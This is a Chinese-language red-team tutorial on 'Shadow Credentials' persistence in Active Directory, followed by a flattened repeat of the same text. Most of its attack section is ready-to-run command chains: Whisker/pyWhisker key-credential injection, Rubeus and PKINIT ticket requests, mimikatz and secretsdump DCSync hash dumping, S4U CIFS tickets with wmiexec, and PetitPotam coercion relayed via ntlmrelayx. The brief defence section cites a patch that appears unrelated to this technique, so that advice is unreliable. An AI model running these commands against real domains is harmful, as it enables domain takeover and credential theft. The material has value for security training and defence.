红队域渗透权限维持技术:Shadow Credentials
字数 1383 2025-08-06 23:10:27

红队域渗透权限维持技术:Shadow Credentials 详细教学

0x00 概念与原理

基本概念

Shadow Credentials是一种通过修改目标对象(用户或计算机)的msDS-KeyCredentialLink属性来实现持久和隐蔽访问的权限维持技术。该技术利用Windows活动目录中用户和计算机对象的msDS-KeyCredentialLink属性,该属性可以存储原始公钥。

核心原理

当使用PKINIT进行预认证时,KDC会检查认证用户是否拥有匹配的私钥。如果有匹配项,KDC将发送TGT票据,从而实现对目标对象的持久访问。

PKINIT详解

PKINIT是Kerberos协议的扩展协议,允许在预认证阶段使用非对称密钥加密:

  • 证书信任模型:基于数字证书链验证
  • 密钥信任模型:基于原始密钥数据,公钥存储在msDS-KeyCredentialLink属性中

0x01 利用条件

权限要求

以下用户可修改msDS-KeyCredentialLink属性:

  • 域管理员(Domain Admins组成员)
  • 具有GenericAll或GenericWrite权限的用户
  • Enterprise Key Admins组成员
  • Key Admins组成员
  • 机器账户(仅能修改自身)

目标环境要求

  • 域控制器版本:Windows Server 2016及以上
  • 域控制器或其它服务器上安装Active Directory证书服务(AD CS)

0x02 攻击工具准备

主要工具

  1. Whisker:用于修改msDS-KeyCredentialLink属性
  2. pyWhisker:域外主机执行攻击的Python实现
  3. Rubeus:申请TGT票据
  4. PKINITtools:通过KDC身份验证
  5. ntlmrelayx.py:结合NTLM Relay实现强制认证

0x03 攻击方法详解

方法一:域内机器修改影子凭证

1. 使用Whisker修改属性

# 添加Shadow Credentials
Whisker.exe add /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab

# 列出属性
Whisker.exe list /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab

# 删除属性
Whisker.exe remove /target:DC2016$ /deviceid:33d43eb3-3cb2-4e63-ba92-7de00af46505

2. 使用Rubeus申请TGT

Rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /nowrap /ptt

3. 票据利用

DCSync攻击

mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit"

CIFS服务票据远程访问

Rubeus.exe s4u /self /impersonateuser:REDTEAM\Administrator /altservice:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:[value] /nowrap
dir \\DC2016.redteam.lab\c$

4. 权限维持

转存为kirbi文件

[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("BASE64_STRING"))
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

转存为ccache文件

rubeustoccache.py [base64_input] test.kirbi test.ccache
KRB5CCNAME=test.ccache python3 secretsdump.py -k redteam.lab/DC2016\$@DC2016.redteam.lab -no-pass -just-dc

方法二:域外机器修改影子凭证

1. 使用pyWhisker修改属性

python3 pywhisker.py -d "redteam.lab" -u "mark" -p "123.com" --target "DC2016$" --action "add" --filename dc2016

2. 使用pfx证书申请TGT

python3 gettgtpkinit.py -cert-pfx dc2016.pfx -pfx-pass JdhrfLCa3OMQJwfK8YhS redteam.lab/DC2016$ DC2016.ccache

3. 票据利用

DCSync导出Hash

KRB5CCNAME=DC2016.ccache python3 secretsdump.py -k redteam.lab/DC2016\$@DC2016.redteam.lab -just-dc -no-pass

申请CIFS访问票据

python3 gets4uticket.py kerberos+ccache://redteam.lab\\DC2016\$:DC2016.ccache@DC2016.redteam.lab cifs/DC2016.redteam.lab@redteam.lab Administrator@redteam.lab Administrator.ccache -v
KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

方法三:影子凭证强制认证

1. 启动监听

python3 ntlmrelayx.py -t ldap://10.10.2.20 --remove-mic --shadow-credentials --shadow-target SERVER2016$

2. 执行NTLM Relay攻击

python3 PetitPotam.py -u mark -p 123.com -d redteam.lab 10.10.2.77 SERVER2016.redteam.lab

3. 申请TGT票据

python3 gettgtpkinit.py -cert-pfx SERVER2016.pfx -pfx-pass qOBBCYvuLnELkIS7sBAt redteam.lab/SERVER2016$ SERVER2016.ccache

4. 申请CIFS访问票据

python3 gets4uticket.py kerberos+ccache://redteam.lab\\SERVER2016\$:SERVER2016.ccache@DC2016.redteam.lab cifs/SERVER2016.redteam.lab@redteam.lab Administrator@redteam.lab Administrator.ccache -v

5. 使用票据远程访问

KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@SERVER2016.redteam.lab -no-pass -dc-ip 10.10.2.25

0x04 防御建议

  1. 权限控制:严格限制对msDS-KeyCredentialLink属性的修改权限
  2. 监控检测
    • 监控对msDS-KeyCredentialLink属性的异常修改
    • 检测异常的PKINIT认证请求
  3. 补丁更新:安装KB957097等安全补丁
  4. 配置加固
    • 启用LDAP签名和加密
    • 限制NTLM使用
  5. 审计日志:加强Kerberos和AD变更的日志记录与分析

0x05 总结

Shadow Credentials技术提供了一种隐蔽的权限维持方法,通过操纵AD对象的密钥凭证属性实现持久访问。防御方需要从权限控制、监控检测和配置加固等多方面进行防护,同时保持对AD环境变更的高度警觉。

红队域渗透权限维持技术:Shadow Credentials 详细教学 0x00 概念与原理 基本概念 Shadow Credentials是一种通过修改目标对象(用户或计算机)的 msDS-KeyCredentialLink 属性来实现持久和隐蔽访问的权限维持技术。该技术利用Windows活动目录中用户和计算机对象的 msDS-KeyCredentialLink 属性,该属性可以存储原始公钥。 核心原理 当使用PKINIT进行预认证时,KDC会检查认证用户是否拥有匹配的私钥。如果有匹配项,KDC将发送TGT票据,从而实现对目标对象的持久访问。 PKINIT详解 PKINIT是Kerberos协议的扩展协议,允许在预认证阶段使用非对称密钥加密: 证书信任模型 :基于数字证书链验证 密钥信任模型 :基于原始密钥数据,公钥存储在 msDS-KeyCredentialLink 属性中 0x01 利用条件 权限要求 以下用户可修改 msDS-KeyCredentialLink 属性: 域管理员(Domain Admins组成员) 具有GenericAll或GenericWrite权限的用户 Enterprise Key Admins组成员 Key Admins组成员 机器账户(仅能修改自身) 目标环境要求 域控制器版本:Windows Server 2016及以上 域控制器或其它服务器上安装Active Directory证书服务(AD CS) 0x02 攻击工具准备 主要工具 Whisker :用于修改 msDS-KeyCredentialLink 属性 pyWhisker :域外主机执行攻击的Python实现 Rubeus :申请TGT票据 PKINITtools :通过KDC身份验证 ntlmrelayx.py :结合NTLM Relay实现强制认证 0x03 攻击方法详解 方法一:域内机器修改影子凭证 1. 使用Whisker修改属性 2. 使用Rubeus申请TGT 3. 票据利用 DCSync攻击 : CIFS服务票据远程访问 : 4. 权限维持 转存为kirbi文件 : 转存为ccache文件 : 方法二:域外机器修改影子凭证 1. 使用pyWhisker修改属性 2. 使用pfx证书申请TGT 3. 票据利用 DCSync导出Hash : 申请CIFS访问票据 : 方法三:影子凭证强制认证 1. 启动监听 2. 执行NTLM Relay攻击 3. 申请TGT票据 4. 申请CIFS访问票据 5. 使用票据远程访问 0x04 防御建议 权限控制 :严格限制对 msDS-KeyCredentialLink 属性的修改权限 监控检测 : 监控对 msDS-KeyCredentialLink 属性的异常修改 检测异常的PKINIT认证请求 补丁更新 :安装KB957097等安全补丁 配置加固 : 启用LDAP签名和加密 限制NTLM使用 审计日志 :加强Kerberos和AD变更的日志记录与分析 0x05 总结 Shadow Credentials技术提供了一种隐蔽的权限维持方法,通过操纵AD对象的密钥凭证属性实现持久访问。防御方需要从权限控制、监控检测和配置加固等多方面进行防护,同时保持对AD环境变更的高度警觉。